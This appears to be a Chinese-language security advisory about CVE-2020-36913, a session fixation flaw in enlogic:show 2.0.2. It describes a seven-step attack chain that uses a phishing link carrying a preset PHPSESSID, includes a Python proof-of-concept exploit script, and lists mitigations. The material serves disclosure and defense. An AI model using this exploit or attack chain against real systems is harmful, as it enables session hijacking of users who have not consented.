IPBUF安全漏洞报告
English
CVE-2020-36913 CVSS 5.3 中危

CVE-2020-36913 enlogic:show会话固定漏洞导致认证绕过

披露日期: 2026-01-06

漏洞信息

漏洞编号
CVE-2020-36913
漏洞类型
会话固定(Session Fixation)
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
All-Dynamics Software enlogic:show 2.0.2

相关标签

会话固定Session Fixation认证绕过enlogic:showAll-Dynamics SoftwarePHPCSRFCVE-2020-36913Web应用安全

漏洞概述

CVE-2020-36913是All-Dynamics Software enlogic:show 2.0.2版本中的一个会话固定安全漏洞。该漏洞允许攻击者在用户登录过程中预先设置PHP会话标识符(session ID),从而在用户成功认证后接管其会话。会话固定攻击是一种常见的Web应用安全威胁,攻击者通过诱导受害者使用攻击者控制的会话ID,绕过正常的身份认证机制。一旦受害者使用攻击者提供的会话ID登录系统,攻击者即可利用该会话冒充合法用户访问系统资源。此漏洞无需任何认证即可利用,攻击复杂度低,可能导致跨站请求伪造(CSRF)攻击、敏感数据泄露以及未授权操作等严重后果。

技术细节

该漏洞存在于enlogic:show的登录认证流程中。系统在处理用户登录请求时,未对会话标识符进行充分的验证和刷新。具体问题在于:1) 应用程序允许攻击者通过HTTP GET请求参数预先设定PHP会话标识符;2) 攻击者构造恶意链接如welcome.php?PHPSESSID=attacker_controlled_session,诱导受害者访问;3) 受害者在不知情的情况下使用攻击者指定的session ID进行登录认证;4) 登录成功后,系统继续使用该session ID,导致攻击者可以通过相同的session ID接管受害者的会话。由于系统未在认证成功后生成新的session ID或验证session ID的合法性,攻击者可以绕过身份认证机制,执行未授权操作。攻击者还可能利用此漏洞实施CSRF攻击,在受害者已登录的状态下执行恶意请求。

攻击链分析

STEP 1
步骤1
攻击者生成恶意的PHP会话标识符(如:attacker_session_123)
STEP 2
步骤2
攻击者构造包含预定义session ID的恶意链接:welcome.php?PHPSESSID=attacker_session_123
STEP 3
步骤3
攻击者通过钓鱼邮件、社交工程等方式诱导已登录的受害者访问恶意链接
STEP 4
步骤4
受害者浏览器使用攻击者指定的session ID向服务器发送请求
STEP 5
步骤5
受害者在该session下进行登录认证操作
STEP 6
步骤6
服务器认证成功,但未刷新session ID,继续使用攻击者预先设置的session ID
STEP 7
步骤7
攻击者使用相同的session ID访问系统,成功绕过认证冒充受害者身份

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys def exploit_session_fixation(target_url, attacker_session_id): """ PoC for CVE-2020-36913 - enlogic:show Session Fixation This script demonstrates how an attacker can set a predefined session ID """ target = target_url.rstrip('/') # Step 1: Attacker creates a malicious session ID print(f"[*] Attacker controlled session ID: {attacker_session_id}") # Step 2: Send crafted GET request with predefined session ID exploit_url = f"{target}/welcome.php?PHPSESSID={attacker_session_id}" print(f"[*] Sending malicious request to: {exploit_url}") headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: response = requests.get(exploit_url, headers=headers, timeout=10) print(f"[*] Response Status: {response.status_code}") # Step 3: Check if session cookie is set if 'PHPSESSID' in response.cookies: print(f"[+] Session cookie received: {response.cookies['PHPSESSID']}") # Step 4: Attacker can now use this session ID to hijack user session print(f"[!] Attack successful - Session {attacker_session_id} is now active") print(f"[!] Attacker can hijack victim session with the same PHPSESSID") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <attacker_session_id>") print(f"Example: python {sys.argv[0]} http://target.com attacker123") sys.exit(1) exploit_session_fixation(sys.argv[1], sys.argv[2])

影响范围

enlogic:show 2.0.2

防御指南

临时缓解措施
临时缓解措施:在Web应用防火墙(WAF)中配置规则,阻止包含PHPSESSID参数的GET请求;对登录功能实施额外的双因素认证机制;监控异常session创建行为;限制session ID的来源和格式验证。建议尽快应用官方发布的安全补丁或升级到修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表